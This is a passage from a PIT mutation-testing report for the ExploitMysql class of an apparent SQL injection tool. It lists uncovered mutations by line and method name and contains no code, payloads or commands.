replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE

66

1.1
Location : lambda$createWeb$1
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

67

1.1
Location : lambda$createWeb$1
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

68

1.1
Location : lambda$createWeb$1
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

69

1.1
Location : lambda$createWeb$1
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createWeb$1 → NO_COVERAGE

71

1.1
Location : createWeb
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createWeb → NO_COVERAGE

77

1.1
Location : lambda$createSql$2
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : lambda$createSql$2
Killed by : none
negated conditional → NO_COVERAGE

79

1.1
Location : lambda$createSql$2
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

80

1.1
Location : lambda$createSql$2
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

81

1.1
Location : lambda$createSql$2
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

82

1.1
Location : lambda$createSql$2
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createSql$2 → NO_COVERAGE

87

1.1
Location : createSql
Killed by : none
negated conditional → NO_COVERAGE

91

1.1
Location : createSql
Killed by : none
negated conditional → NO_COVERAGE

95

1.1
Location : createSql
Killed by : none
negated conditional → NO_COVERAGE

98

1.1
Location : createSql
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createSql → NO_COVERAGE

105

1.1
Location : lambda$createUpload$3
Killed by : none
negated conditional → NO_COVERAGE

112

1.1
Location : lambda$createUpload$3
Killed by : none
removed call to java/lang/Thread::interrupt → NO_COVERAGE

116

1.1
Location : lambda$createUpload$3
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createUpload$3 → NO_COVERAGE

134

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

135

1.1
Location : create
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE

148

1.1
Location : lambda$create$4
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE

2.2
Location : lambda$create$4
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE

154

1.1
Location : create
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

157

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

158

1.1
Location : create
Killed by : none
removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyBodyToShare → NO_COVERAGE

166

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : create
Killed by : none
negated conditional → NO_COVERAGE

175

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : create
Killed by : none
negated conditional → NO_COVERAGE

3.3
Location : create
Killed by : none
negated conditional → NO_COVERAGE

177

1.1
Location : create
Killed by : none
removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE

181

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

186

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

188

1.1
Location : create
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE

193

1.1
Location : create
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE

199

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

203

1.1
Location : createUdf
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

205

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

212

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

216

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

220

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

221

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

224

1.1
Location : createUdf
Killed by : none
removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyLibraryToShare → NO_COVERAGE

232

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

233

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

244

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

3.3
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

246

1.1
Location : createUdf
Killed by : none
removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE

253

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

256

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

258

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

259

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

261

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

263

1.1
Location : getNameLibrary
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getNameLibrary → NO_COVERAGE

277

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

280

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : byQueryBody
Killed by : none
changed conditional boundary → NO_COVERAGE

285

1.1
Location : lambda$byQueryBody$5
Killed by : none
replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::lambda$byQueryBody$5 → NO_COVERAGE

293

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

296

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : byQueryBody
Killed by : none
changed conditional boundary → NO_COVERAGE

300

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

309

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

313

1.1
Location : byQueryBody
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byQueryBody → NO_COVERAGE

335

1.1
Location : byNetshare
Killed by : none
negated conditional → NO_COVERAGE

338

1.1
Location : byNetshare
Killed by : none
negated conditional → NO_COVERAGE

347

1.1
Location : byNetshare
Killed by : none
negated conditional → NO_COVERAGE

351

1.1
Location : byNetshare
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byNetshare → NO_COVERAGE

357

1.1
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

367

1.1
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

375

1.1
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

380

1.1
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

393

1.1
Location : byTable
Killed by : none
Changed increment from 1 to -1 → NO_COVERAGE

404

1.1
Location : getCountTable
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE

410

1.1
Location : getCountTable
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE

421

1.1
Location : buildSysEval
Killed by : none
negated conditional → NO_COVERAGE

423

1.1
Location : buildSysEval
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE

428

1.1
Location : buildSysEval
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

429

1.1
Location : buildSysEval
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

430

1.1
Location : buildSysEval
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

431

1.1
Location : buildSysEval
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE

436

1.1
Location : confirm
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::confirm → NO_COVERAGE

460

1.1
Location : runRceCmd
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

461

1.1
Location : runRceCmd
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

462

1.1
Location : runRceCmd
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

463

1.1
Location : runRceCmd
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::runRceCmd → NO_COVERAGE

468

1.1
Location : getRead
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getRead → NO_COVERAGE

484

1.1
Location : toHexChunks
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/vendor/ExploitMysql::toHexChunks → NO_COVERAGE

495

1.1
Location : copyLibraryToShare
Killed by : none
removed call to java/io/FileOutputStream::write → NO_COVERAGE

516

1.1
Location : uncloak
Killed by : none
replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::uncloak → NO_COVERAGE

520

1.1
Location : getModelYaml
Killed by : none
replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::getModelYaml → NO_COVERAGE

Active mutators

Tests examined


Report generated by PIT 1.19.1